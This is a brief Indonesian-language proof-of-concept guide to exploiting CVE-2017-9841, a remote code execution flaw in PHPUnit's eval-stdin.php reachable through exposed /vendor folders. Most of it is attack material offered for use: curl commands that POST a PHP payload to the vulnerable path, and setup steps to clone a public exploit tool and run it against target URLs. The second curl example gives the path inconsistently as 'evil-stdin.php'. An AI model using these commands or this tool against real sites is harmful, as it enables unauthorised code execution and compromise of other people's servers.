PoC PHP Unit RCE (CVE-2017-9841)
Kerentanan ini terdapat pada file eval-stdin.php
di PHPUnit versi sebelum 4.8.28 dan 5.x sebelum 5.6.3
. File ini memungkinkan penyerang untuk mengeksekusi kode PHP secara remote dengan mengirimkan data melalui HTTP POST yang dimulai dengan .<?php
Bagaimana Serangan Ini Bekerja?
- Folder
/vendor
Terbuka - Mengirim Kode Berbahaya via HTTP POST
Jika suatu situs memiliki folder /vendor
yang dapat diakses dari luar (misalnya melalui https://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
), maka situs tersebut kemungkinan rentan.
Penyerang bisa mengirim permintaan POST berisi kode PHP berbahaya ke file ini, contohnya:
curl -d "<?php echo php_uname(); ?>" https://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Kode "<?php echo php_uname(); ?>" akan dieksekusi langsung di server, memungkinkan penyerang menjalankan perintah sistem.
PoC PHP Unit RCE
Exploit
Kirim POST dengan curl ataupun burpsuite
curl -d "<?php echo php_uname(); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/evil-stdin.php
Dengan Bantuan Tool
apt update && apt upgrade -y pkg install git -y pkg install python -y git clone https://github.com/Chocapikk/CVE-2017-9841 cd CVE-2017-9841 pip install -r requirements.txt python exploit.py -u http://example.com/ python exploit.py -u http://example.com/path/
